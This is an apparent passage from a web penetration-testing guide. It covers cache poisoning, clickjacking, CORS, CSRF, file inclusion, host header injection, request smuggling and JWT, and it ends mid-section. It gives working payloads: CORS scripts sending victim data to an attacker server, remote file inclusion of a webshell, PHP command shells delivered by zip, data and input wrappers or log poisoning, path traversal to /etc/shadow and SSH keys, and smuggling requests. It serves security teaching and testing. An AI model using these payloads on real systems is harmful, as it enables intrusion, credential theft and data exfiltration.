Another alternative is to detect how the cache and the back-end normalize the path of every request. Because the path of a request is often used as a cache key, you can try to exploit this by sending requests that hit the same endpoint. As an example, the following entries might all be cached separately but treated as equivalent to `GET /` on the back-end:

* Apache: `GET //`
* Nginx: `GET /%2F`
* PHP: `GET /index.php/xyz`
* .NET: `GET /(A(xyz)/`

## Exploit the vulnerability

After identifying the unkeyed input, the next step is to analyze how the application processes, if it is being properly sanitized or if it is used to generate other data dynamically in order to create a harmful response.

After manipulating the user inputs to create a harmful response, it is time to store the response in the cache. To do so, you will need to find out which components of a request, like a file extension, content type, route and response header, are required in order to cache the request.

## References

* [Web Cache Poisoning](https://portswigger.net/web-security/web-cache-poisoning)


# Clickjacking

## Introduction

Clickjacking, also known as "UI redress attack", is a type of web vulnerability that allows an attacker to trick a user into clicking on a button or link on a webpage that performs an unintended action. This is achieved by overlaying the victim's screen with a transparent layer, or `iframe`, that contains the malicious content. The victim is usually unaware that they are interacting with the malicious content, as it appears to be a legitimate button or link on the page.

## Testing the attack

In order to check if a website is vulnerable to this kind of attack, you need to find if one of these mechanisms is implemented.

### X-Frame-Options

`X-Frame-Options` is a header that can be used to indicate whether a webpage can be loaded inside an iframe. By setting the `X-Frame-Options` header to "deny", a website can prevent itself from being loaded inside an iframe on another site. This can help to protect against clickjacking attacks, as the attacker will not be able to use an iframe to overlay the victim's screen with malicious content.

In addition, framing can be restricted to pages from the same website by using the `sameorigin` directive or to a specific website using the `allow-from` directive.

```http
X-Frame-Options: allow-from https://example.com
```

### Content Security Policy (CSP)

`Content-Security-Policy` is a header that can be used to specify a list of trusted sources for various types of content, such as scripts, stylesheets, and images. By specifying a strict `Content-Security-Policy`, a website can prevent itself from loading untrusted content, including content that could be used in a clickjacking attack.

where policy is a string of policy directives separated by semicolons. The CSP provides the client browser with information about permitted sources of web resources that the browser can apply to the detection and interception of malicious behaviours.

The recommended clickjacking protection incorporates the `frame-ancestors` directive in the application's Content Security Policy. The `frame-ancestors 'none'` directive is similar in behaviour to the X-Frame-Options `deny` directive. The `frame-ancestors 'self'` directive is broadly equivalent to the `X-Frame-Options: sameorigin` directive. The following CSP whitelists frames to the same domain only:

```
Content-Security-Policy: frame-ancestors 'self';
```

Alternatively, framing can be restricted to named sites:

```
Content-Security-Policy: frame-ancestors normal-website.com;
```

### Proof of Concept

If none of the previous server side mechanisms is applied, then the webpage can be vulnerable to clickjacking,

Here's an example of how a clickjacking attack might work:

1. The attacker creates a webpage that contains a transparent iframe overlaid on top of a legitimate webpage. This can be achieved by using the Burp suite tool [Clickbandit](https://portswigger.net/burp/documentation/desktop/tools/clickbandit).
2. The victim navigates to the attacker's webpage, which appears to be a legitimate site.
3. The victim clicks on a button or link on the page, believing they are performing a legitimate action.
4. However, the transparent iframe captures the victim's click, and uses it to perform an unintended action, such as liking a post on a social media site or making a purchase.

## References

* [Clickjacking (UI redressing)](https://portswigger.net/web-security/clickjacking)
* [Testing for Clickjacking](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking)
* [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)


# CORS

## Introduction

Cross-Origin Resource Sharing (CORS) is a security feature implemented by web browsers that block web pages from making requests to a different domain than the one that served the web page. This is done to prevent malicious websites from making unauthorized requests to other sites on behalf of the user.

A CORS vulnerability occurs when a website improperly allows cross-origin requests from other domains, potentially allowing an attacker to make unauthorized requests to the site on behalf of the user. This can lead to various types of attacks, such as cross-site scripting (XSS) attacks, data leakage, and other types of malicious activity.

## Same-origin policy (SOP)

The Same Origin Policy is a security feature implemented by web browsers that restrict web pages from making requests to a different domain than the one that served the web page. This policy is intended to prevent malicious websites from making unauthorized requests to other sites on behalf of the user.

Under the Same Origin Policy, a web page is only allowed to make requests to the same domain that served the web page. This means that a web page served from `https://example.com` is only allowed to make requests to `https://example.com` and not to any other domain.

The following table shows how the same-origin policy will be applied if the content at `http://example.com/example/example.html` tries to access other origins:

| URL accessed                           | Access permitted?                  |
| -------------------------------------- | ---------------------------------- |
| `http://example.com.com/example/`      | Yes. Same scheme, domain, and port |
| `http://example.com.com/example2/`     | Yes. Same scheme, domain, and port |
| `https://example.com.com/example/`     | No. Different scheme and port      |
| `http://en.example.com.com/example/`   | No. Different domain               |
| `http://www.example.com.com/example/`  | No. Different domain               |
| `http://example.com.com:8080/example/` | No. Different port\*               |

\*Internet Explorer will allow this access because IE does not take into account the port number when applying the same-origin policy.

The Same Origin Policy is an important security measure that helps to prevent cross-site scripting (XSS) attacks, data leakage, and other types of malicious activity. It is implemented by default in all modern web browsers and cannot be bypassed by web pages.

There are some exceptions to the Same Origin Policy, such as the use of the CORS headers, which allow web pages to make requests to other domains with the permission of the server. However, these exceptions must be carefully controlled to ensure that they do not create security vulnerabilities.

## CORS Headers

The Cross-Origin Resource Sharing headers are HTTP headers that allow a web page to make requests to a different domain than the one that served the web page. These headers are used to enable the web page to access resources from other domains while still adhering to the Same Origin Policy.

CORS headers are sent in the HTTP response from the server to the client, and they specify which domains are allowed to make requests to the server. Several different CORS headers can be used to control access to a server, including:

* `Access-Control-Allow-Origin`: This header specifies which domains are allowed to make requests to the server. For example, if the header value is `https://example.com`, only requests from `https://example.com` will be allowed. Furthermore, the specification of this header allows the use of the value `null` or wildcards `*`.
* `Access-Control-Allow-Methods`: This header specifies which HTTP methods are allowed for cross-origin requests. For example, if the header value is `GET, POST`, then only `GET` and `POST` requests will be allowed.
* `Access-Control-Allow-Headers`: This header specifies which HTTP headers are allowed in cross-origin requests.
* `Access-Control-Allow-Credentials`: This header specifies whether or not the server allows credentials (such as cookies) to be included in cross-origin requests.

By using these headers, web developers can control which domains are allowed to make requests to their servers and what types of requests are allowed. This can help to prevent CORS vulnerabilities and other types of security vulnerabilities.

## CORs misconfiguration issues

There are several ways in which CORS misconfigurations can occur. This is a list a misconfigurations that you might encounter in the wild.

### ACAO value wildcard

If the `Access-Control-Allow-Origin` header is set to `*`, it allows any domain to make requests to the server. This can create a significant security vulnerability, as it allows any website to potentially access sensitive information or perform actions on the server on behalf of the user.

### ACAO header from client-specified Origin header

The ACAO header is generated by the server in response to a client request that includes an `Origin` header. Because the application reflects arbitrary origins in the `Access-Control-Allow-Origin` header, this means that absolutely any domain can access resources from the vulnerable domain. If the response contains any sensitive information, you could retrieve this by placing the following script on your website:

```javascript
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','<VULNERABLE_PAGE_URL>',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>
```

Then, you will have to use social engineering in order to make the user victim to access your malicious site.

### Origin whitelist implementation issue

In this case, the application has implemented some rules by matching the URL prefixes, suffixes or regular expressions. Errors in the implementation of the access controls could result in unauthorized external domains being granted access.

* Application grants access to every domain **ending** on `example.com`. Then, an attacker can gain access by registering the domain `malicious-example.com`.
* Application grants access to every domain beginning with `example.com`. Then, the attacker can create a subdomain like `example.com.malicious.es`.

### Whitelisted null origin value

The `null` origin value is a special value that is used to indicate that a web page has been loaded from various unusual situations:

* Cross-origin redirects.
* Requests from serialized data.
* Request using the `file:` protocol.
* Sandboxed cross-origin requests.

A whitelisted `null` origin value allows malicious websites that are loaded from one of the previous scenarios to potentially make unauthorized requests to the server on behalf of the user.

To exploit the vulnerability, you can use the following payload:

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<VULNERABLE_PAGE_URL>',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='<ATTACKER_SERVER>/log?key='+this.responseText;
};
</script>"></iframe>
```

### Exploiting XSS via CORS trust relationships

If a website trusts a domain that is vulnerable to cross-site scripting (XSS) attacks, an attacker could potentially use the XSS vulnerability to inject malicious JavaScript into the trusted website. This injected JavaScript could then use Cross-Origin Resource Sharing (CORS) to retrieve sensitive information from the trusted website.

### Breaking TLS with poorly configured CORS

If an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. An attacker who is in a position to intercept a victim user's traffic can exploit the CORS configuration to compromise the victim's interaction with the application.

## References

* [Cross-origin resource sharing (CORS)](https://portswigger.net/web-security/cors)
* [Testing Cross Origin Resource Sharing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)


# CSRF

## Introduction

Cross-Site Request Forgery (CSRF) is a type of web vulnerability that allows an attacker to send malicious requests to a website on behalf of a victim user. This can occur when a victim user is authenticated to a vulnerable website and has an active session. Then, the attacker tricks the victim into making a request to the website that includes malicious parameters.

For example, consider a situation where a victim user is logged into their online banking account. The attacker tricks the victim into clicking on a link that sends a request to transfer money from the victim's account to the attacker's account. If the website is vulnerable to CSRF, the transfer request will be executed by the website, even though the victim did not intentionally initiate the request.

To prevent CSRF attacks, websites can use techniques such as requiring a unique token to be included in all sensitive requests, or using same-site cookies to ensure that requests can only be initiated from the same website that the victim is currently visiting.

## Crafting the attack

First of all, you need to analyze the website victim to see if the following conditions are met:

* [ ] **A relevant action** that can be used to steal an account, escalate privileges, obtain a user's password or change a user's email.
* [ ] **Cookie-based session handling** so the cookie will be sent to the website within the malicious request, but the user victim must be already logged in.
* [ ] **No unpredictable request parameters** to perform any action that an attacker can not determine or guess. An example would be a nonce sent by the server or a CSRF token. Nonetheless, the latter sometimes is not bound to the session, thus an attacker can obtain a CSRF token with its account to use it in its malicious form.

Secondly, you need to craft a CSRF exploit that would be delivered to the user victim.

This can be achieved by the Burp Suite extension [CSRF PoC generator](https://portswigger.net/burp/documentation/desktop/functions/generate-csrf-poc). Right-click on the request and then go to `Engagement tools/Generate CSRF PoC`. The result will be an HTML code that, once accessed by the user victim, will send the malicious request to the website victim.

As an alternative, there is the website [CSRF PoC Generator](https://security.love/CSRF-PoC-Genorator/).

Thirdly, copy the generated HTML into a malicious web page and view it with a web browser, logged with a dummy account on the website victim, to test whether the intended request works.

Finally, deliver a link to the user victim and make it click through social engineering.

## References

* [Cross-site request forgery (CSRF)](https://portswigger.net/web-security/csrf)
* [Testing for Cross Site Request Forgery](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery)


# File Inclusion

## Introduction

Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that allow an attacker to include a file into the server due to dynamic file inclusion mechanisms implemented in the target application without proper validation.

These vulnerabilities can lead to:

* Server-side code execution
* XSS attacks
* Denial of Service (DoS)
* Sensitive Information Disclosure

## Remote File Inclusion

Remote File Inclusion (also known as RFI) instead of accessing a file on the victim's machine, the attacker retrieves files from other servers or its machine, obtaining code execution.

```bash
http://example.com/index.php?file=http://<ATTACKER_IP>/webshell.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

## Local File Inclusion

Local file inclusion (also known as LFI) is the process of including files that are already locally present on the victim's server, allowing an attacker to read files. Moreover, if the server runs with high privileges, the attacker may access sensitive information or obtain code execution.

Furthermore, this vulnerability is usually associated with another vulnerability named **path traversal** or directory traversal, which aims to access files and directories stored outside the default web folder.

Finally, in this subsection, you will file several techniques that you can apply to the LFI vulnerability.

## PHP Wrappers

Sometimes, the attacker will want to get particular files like binary or .php files, but the files are displayed incorrectly or interpreted in the case of `*.php` files. For these cases, wrappers are used.

* **Base64**: Encode the file into base64 format.

```bash
http://IP/index.php?page=php://filter/convert.base64-encode/resource=<file>
```

* **ZIP**: The server can execute the code inside a zip file.

**Payload**:

```bash
echo "<?php system(\$_GET['cmd']); ?>" > shell.php
zip -0 payload.zip shell.php;      
rm shell.php
```

**Exploitation**: Once uploaded, you can obtain RCE by accessing the following URL

```bash
http://localhost/index.php?file=zip://payload.zip%23shell.php&cmd=id
```

* **Data**: The data wrapper allows you to include embedded information in the URL, including PHP code. The best way to have code is to pre-encode the code in base64. However, this wrapper only works if the `allow_url_include` is "On" at `php.ini`.

```bash
http://localhost/index.php?cmd=id&file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2bDQo=
```

* **Input**: This wrapper is similar to the data wrapper, but differs in that the information is sent via a POST request. It also requires the `allow_url_include` option to be enabled,

```bash
cat shell.php
<?php system($_GET['cmd']); ?>

curl -s -X POST -d @shell.php "http://localhost/index.php?cmd=id&file=php://input"
uid=0(root) gid=0(root) groups=0(root)
```

* **Expect**: This wrapper is not installed by default, but if it is, it allows remote execution, displaying both STDOUT and STDERR. This happens because this wrapper gives access to a PTY (pseudo-teletype).

```bash
http://example.com/index.php?file=expect://whoami
```

## LFI2RCE

LFI can be helpful to trigger RCE via obtaining special files on the system.

```bash
http://10.11.1.113/alertConfigField.php?urlConfig=../../../usr/local/databases/shell.php&cmd=id
```

### Log Poisoning

The most common technique to obtain RCE is through poisoning and accessing the Apache `/var/log/apache2/access.log` file.

1\. Inject PHP code in the `User-Agent` variable on a server request.

```bash
[...]
User-Agent:<?php system($_GET['cmd']);?>
[...]
```

2\. Then, access the apache log file to obtain RCE.

```bash
http://example.com/?view=dog/../../var/log/apache2/access.log&cmd=whoami
```

## Path Traversal

Allows an attacker to access arbitrary files on the server where the application is running. A common case to retrieve arbitrary files from the server is trying to access upper folders on the path. For instance, if the absolute path for the images folder is `/var/www/html/images/` we can retrieve the file `/etc/passwd` with the following path.

```bash
http://example.com/?view=images/../../../../etc/passwd
```

In this section I will show you the techniques that you can use to discover a Path traversal vulnerability.

### Absolute paths

You might be able to use an absolute path from the filesystem root, such as `filename=/etc/passwd`, to directly reference a file without using any traversal sequences.

### Sequences stripped non-recursively

An application could delete the occurrence of the string `../`. However, if the application doesn't remove it recursively by using the string `....//` , the resulting string would be `../` still being vulnerable to path traversal.

### Double URL-encode

If the application only one time URL decode the string in order to find a path traversal technique, an attacker could double URL encode the string `../` turning the string into `%252E%252E%252F`.

### Validation of start of path

Some applications check that the beginning of the path to avoid path traversal. However, by using relative paths, the directory path can still be exploited. For instance, if the application checks that the images must be downloaded from `images/` , an attacked can submit the path `images/../../../../etc/passwd` to bypass the filter.

### Validation of file extension

Most applications check the file extension of the files to be loaded into the web application to avoid loading arbitrary files. However, there are different techniques that can be used to bypass this filter.

#### Null byte

Null bytes can be used to circumvent this security technique, as can be seen in the following example.

```bash
http://example/file=http://<ATTACKER_IP>/Revshells/shell.php%00.png
```

#### Comments

Adding the `#` or `%23` before the original file, commenting the file path, might allow you to bypass the filter.

```bash
http://example/file=/etc/passwd#image.png
```

#### Parameter

In the same way as the comment, the original file can be added to the URL as the value of a made-up parameter like so.

```bash
http://example/file=/etc/passwd?fake=image.png
```

#### Miscellany

Here you have a set of bypasses that can you can try out if you run out of ideas:

```bash
webshell.php%0A.png
webshell.php\n.png
webshell.php\u000a.png
webshell.php\u560a.png
webshell.php%E5%98%8A.png
webshell.php;.png
webshell.php%3B.png
webshell.php\u003b.png
webshell.php\u563b.png
webshell.php%E5%98%BB.png
```

## Fuzzing

In order to obtain which files are accessible through LFI, the attacker can fuzz the web application with different dictionaries.

```bash
ffuf -u http://example.com/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=FUZZ -w file_inclusion_linux.txt -fs 0-1000
```

### Windows

Wordlist with interesting windows files:

* [List of windows files](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Wordlists/LFI/windows_files.txt)
* [Windows & Linux](https://raw.githubusercontent.com/Marmeus/Kali-Booster/refs/heads/main/Assets/Wordlists/LFI/lfi.txt)

Some interesting files that might exist on the system:

```bash
# System Files
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
windows\repair\SAM
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

# Web Files
c:\WINDOWS\php.ini  
c:\WINNT\php.ini  
c:\Program Files\Apache Group\Apache\conf\httpd.conf  
c:\Program Files\Apache Group\Apache2\conf\httpd.conf  
c:\Program Files\xampp\apache\conf\httpd.conf  
c:\php\php.ini  
c:\php5\php.ini  
c:\php4\php.ini  
c:\apache\php\php.ini  
c:\xampp\apache\bin\php.ini  
c:\home2\bin\stable\apache\php.ini  
c:\home\bin\stable\apache\php.ini// Some code
```

### Linux

Wordlist with interesting Linux files:

* [file\_inclusion\_linux.txt - CarlosPolop](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt)
* [ist.txt - hussein98](https://github.com/hussein98d/LFI-files/blob/master/list.txt)

Some interesting files that might exist on the system:

```bash
# File system users and groups
/etc/shadow
/etc/passwd 
/etc/group
/etc/hostname
/etc/hosts

/etc/crontab
/etc/host.conf
/etc/resolv.conf
/etc/issue
/etc/samba/smb.conf
/dev/tcp/<IP>/<PORT>
/etc/sudoers
/etc/os-release
/etc/ls-release
/etc/lsb-release
/etc/redhat-release
/etc/*-release

# Command history files
~/.bash_history
/root/.bash_history
~/.zsh_history
/root/.zsh_history
~/.mysql_history
/root/.mysql_history

# SSH Files
~/.ssh/authorized_keys
~/.ssh/id_rsa
~/.ssh/id_rsa.keystore
~/.ssh/id_rsa.pub
~/.ssh/known_hosts
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts

# Filesystems to be mounted at boot time
/etc/fstab
# Currently mounted filesystems.
/etc/mtab

# Process files
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/environ
/proc/self/cmdline

# Logs
/etc/httpd/logs/acces_log 
/etc/httpd/logs/error_log 
/var/www/logs/access_log 
/var/www/logs/access.log 
/var/log/httpd/error_log
/usr/local/apache/logs/access_log 
/usr/local/apache/logs/access.log 
/var/log/apache2/access_log 
/var/log/apache/access.log 
/var/log/apache2/access.log
/var/log/access_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

# Web Files
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/apache2/sites-enabled/default-ssl.conf
```

## References

* [Testing for Remote File Inclusion (OWASP)](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion)
* [Testing for Local File Inclusion (OWASP)](https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion)
* [FILE INCLUSION VULNERABILITIES (Offensive-Security)](https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/)
* [File Inclusion (PayloadsAllTheThings)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion)
* [Directory Traversal](https://portswigger.net/web-security/file-path-traversal)


# Host Header Injection

## Introduction

A host header injection vulnerability is a type of web vulnerability that occurs when an attacker can manipulate the `Host` header of an HTTP request, and the web application does not correctly validate the host header of incoming requests.

The attacker can supply invalid input to cause the webserver to:

* Dispatch requests to the first virtual host on the list.
* Perform a redirect to an attacker-controlled domain.
* Perform web cache poisoning.
* Manipulate password reset functionality.
* Allow access to virtual hosts that were not intended to be externally accessible.

## Test Host Header injection

There are several techniques you can try to test this vulnerability.

On an HTTP request, modify the `Host` header value as follows:

* **Messing with the port number**: `example.com:<STUFF_HERE>`
* **Adding an** `@`: `example.com:1234@<MALICIOUS_DOMAIN>`
* **Adding carriage return and line feed**: `example.com%0d%0aLocation: malicious.com`
* **Malicious domain**: `example.com.malicious.com`
* **Inject duplicate Host Headers**:

```http
GET /example HTTP/1.1
Host: example.com
Host: malicious.com
```

* **Supply an absolute URL on the HTTP path**:

```http
GET https://example.com/ HTTP/1.1
Host: <BAD_STUFF>
```

* **Indent headers**:

```http
GET /example HTTP/1.1
    Host: <BAD_STUFF>
Host: example.com
```

* **Use host override headers**: A host override header can be used to redirect a request to a different server or impersonate a legitimate server. To discover the headers supported by the server, you can use the Burp Suite extension **Param Miner** by right-clicking on the request and then `Extensions/Param Miner/Guess params/Guess headers` , or try the following wordlist.

```http
GET / HTTP/1.1
Host: example.com
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-IP: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
X-Client: 127.0.0.1
X-Host: 127.0.0.1
```

## Password Reset Poisoning

Some web applications generate the password reset link using the Host header value sent on the request. In this case, an attacker can send a malicious request with the attacker's domain as host, then if the victim clicks on the received link, the attacker will receive a request on its server with the victim's token.

## Accessing Private Virtual Host

An organization might have several sites hosted on the same web server, so they may have virtual hosts that are not intended to be externally accessible. To discover those hidden virtual hosts you can execute the following command.

```bash
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u https://website.com/ -of md -o vhosts.txt -H "Host: FUZZ.example.com"
```

## References

* [Testing for Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)
* [How to identify and exploit HTTP Host header vulnerabilities](https://portswigger.net/web-security/host-header/exploiting)


# HTTP Request Smuggling

## Introduction

HTTP request smuggling is a type of web vulnerability that occurs when an attacker is able to send multiple HTTP requests to a server in a way that causes the server to process them in an unintended manner. This can lead to a number of security problems, including:

1. Denial of Service (DoS) attacks: An attacker could use HTTP request smuggling to send a large number of requests to a server, overwhelming it and causing it to become unavailable to legitimate users.
2. Data leakage: An attacker could use HTTP request smuggling to manipulate the way that a server processes requests, potentially allowing them to access sensitive information that would otherwise be protected.
3. Cross-Site Scripting (XSS) attacks: An attacker could use HTTP request smuggling to inject malicious code into a server's response, potentially allowing them to execute code on the client's machine.

Most of today's web applications are composed of a front-end server (which might be a load balancer or reverse proxy) that forwards the request to a back-end server (which actually performs the request).

The requests to the back-end server are typically sent over the same connection due to its better performance. This means that every HTTP request is sent one after another, so the front-end and back-end must agree on the boundaries between requests.

There are two different ways to specify where a request ends: the `Content-Length` header and the `Transfer-Encoding` header.

The `Content-Length` header specifies the number of bytes that compose the message body:

```http
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

user=test&password=1234
```

The `Transfer-Encoding` header species that the message body is going to be sent in a series of chunks rather than a single message. Each chunk is composed of the chunk size in bytes (expressed in hexadecimal), a new line, the content of the chunk, and a new line terminating in zero.

```http
POST /admin HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

17
user=test&password=1234
0
```

## HTTP smuggling attacks

The following attacks are only valid for HTTP/1.1, if your target website used HTTP/2, then read about how to exploit it in this [link](https://portswigger.net/web-security/request-smuggling/advanced#http-2-request-smuggling).

### CL.TE.

The front-end (FE) uses the `Content-Length` header, and the back-end server uses the `Transfer-Encoding` header.

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x
```

### TE.CL.

The front-end server uses the `Transfer-Encoding` header, and the back-end server uses the `Content-Length` header.

```http
POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 4

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0


```

Because counting the characters on a chunk and then passing the number to hex is a pity, you can use the following chunk calculator by [Takito](https://twitter.com/takito1812).

```html
<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title>Chunk Calculator</title>
    <style>body {font-family: sans-serif;}</style>
</head>

<body>
    <h1>Chunk Calculator</h1>
    <h2>By: <a href='https://twitter.com/takito1812'>Takito</a></h2>
    <textarea rows="10" cols="50" name="chunk" onkeyup="calc()" autofocus>
</textarea>
    <p>The chunk size is <strong id="size"></strong></p>
    <pre id="explanation"></pre>
    <script>
        function calc() {
            var chunk = document.getElementsByName("chunk")[0].value;
            var lines = chunk.split("\n");
            var linesLength = lines.length;
            var chars = 0;
            var explanation = document.getElementById("explanation");
            explanation.innerHTML = "";
            for (var i = 0; i < linesLength; i++) {
                var line = lines[i];
                var lineLength = line.length;
                chars += lineLength;
                if (i < linesLength - 1) {
                    chars += 2;
                    explanation.innerHTML += line + " -> " + lineLength + " + 2 (\\r\\n) = " + (lineLength + 2) + " chars<br>";
                } else {
                    explanation.innerHTML += line + " -> " + lineLength + " chars<br>";
                }
            }
            document.getElementById("size").innerHTML = chars.toString(16) + " hex (" + chars + " chars)";
        }
    </script>
</body>

</html>
```

### TE.TE.

The front-end and back-end servers both support the `Transfer-Encoding` header. To avoid one of the servers processing the header, it is required to obfuscate the header in some way.

Here there is a list of obfuscation examples:

```bash
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:<tab>chunked

 Transfer-Encoding: chunked

X: X%0aTransfer-Encoding: chunked

Transfer-Encoding
: chunked
```

This example comes from the issue "Multiple Transfer-Encoding headers misinterprets request payload" from [hyper](https://github.com/hyperium/hyper/security/advisories/GHSA-6hfq-h8hq-87mf).

```http
POST / HTTP/1.1
Host: example
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
```

## Tools

Because it is quite hard to test every type of HTTP smuggling on every website you need to audit, you can use the Burp Suite Extension [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646). Right-click on the request, then `Extensions/HTTP Request Smuggler`, and select the type of scan you want to la

## References

* [Finding HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/finding)
* [Exploiting HTTP request smuggling vulnerabilities](https://portswigger.net/web-security/request-smuggling/exploiting)


# Information disclosure

## Introduction

The information disclosure vulnerability consists of websites unintentionally showing the user sensitive information, which can be useful for future attacks.

Examples of sensitive information are:

* Business data or personal information about a user.
* Debugging data, error messages or stack traces that reveal source code.
* Information about the infrastructure:
  * Software used and its version.
  * Hidden directories
  * API keys or credentials
* Backup files.

This data is usually found during the enumeration phase while fuzzing and analysing the web application. Nonetheless, in this section appears several techniques that you can use in order to obtain such information.

## Sensitive directories and files

In the [enumeration phase](https://the-pentesting-guide.marmeus.com/1-information_gathering/active/services/80-443-web#well-knows-files-and-directories), there are several important files/directories, such as `.git`, `robots.txt`, `sitemap.xml` and `.well-known`, pointing to other files with sensitive information or directories with directory listing enabled. Also, both things can be discovered by performing [directory or file enumeration](https://the-pentesting-guide.marmeus.com/1-information_gathering/active/services/80-443-web#directories-files-enumeration).

## Developer comments

During the development of the web page, the programmers could have written comments on the HTML code of the website or inside the JavaScript libraries.

The comments can be easily obtained by using the BurpSuite Tool on `Target/Site map/<Right_Click_on_domain>/Engagement tools/Find comments`

## Error, debug messages or stack traces

The verbose error messages can expose a lot of sensitive information about the application, like the number of arguments and data types expected, functions executed, the technology used and its version, etc.

This information can be helpful because you can easily search for any documented exploits that may exist for this version or misconfiguration errors.

Usually, to obtain this kind of information, you might need to send unexpected data types, such as sending a string instead of the expected number, negative values, random symbols, etc. or not sending data at all, leaving the parameter empty.

Also, try looking at the web browser console because many developers show log messages during the execution of the application.

## Sensitive data on headers

Most of web servers provide information about their infrastructure through headers on the response. Some examples of headers that disclose information about the server are `Server`, `X-Powered-By`, `X-CMS`, `X-Php-Version`, etc.

## References

* [Web Application Security Testing](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/)
* [OWASP Secure Headers Project](https://owasp.org/www-project-secure-headers/#div-bestpractices)
* [Information disclosure](https://portswigger.net/web-security/information-disclosure)


# JWT

## Introduction

JSON Web Token (JWT) is an open standard for securely transmitting information between parties as a JSON object. In order to ensure the **integrity** and **authenticity** of the data, this is being signed using a secret (HMAC algorithm) or public/private keys (RSA or ECDSA).

There are two main different types of JWT.

## Normal JWT

It is composed of three parts, encoded on base64, separated by a dot:

* **Header**: Specifies the algorithm and the type of JWT being used,.
* **Payload**: JSON data that wants to be transmitted.
* **Signature**: The result of applying base64url encoding to the header, dot, and payload, and then signing the whole thing using a secret or a private key.

**Encoded JWT**.

```bash
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik1hcm1ldXMiLCJpYXQiOjE1MTYyMzkwMjJ9.JRGkgRg-LNfPIizd0il-HU9JFytJYTUnGFfCFblssdU
```

**Decoded JWT**.

```bash
# Header
{
  "alg": "HS256",
  "typ": "JWT"
}
# Payload
{
  "sub": "1234567890",
  "name": "Marmeus",
  "iat": 1516239022
}
# SIGNATURE
<ALGORITHM>( base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET | PRIVATE KEY>) 
```

### Weaknesses

#### Signature verification

It might be the case where developers do not really verify the signature of the token, so any changes made to the JWT will be accepted by the application. Hence, try to change values on the payload section to check if the application accepts them.

#### None algorithm (CVE-2015-9235)

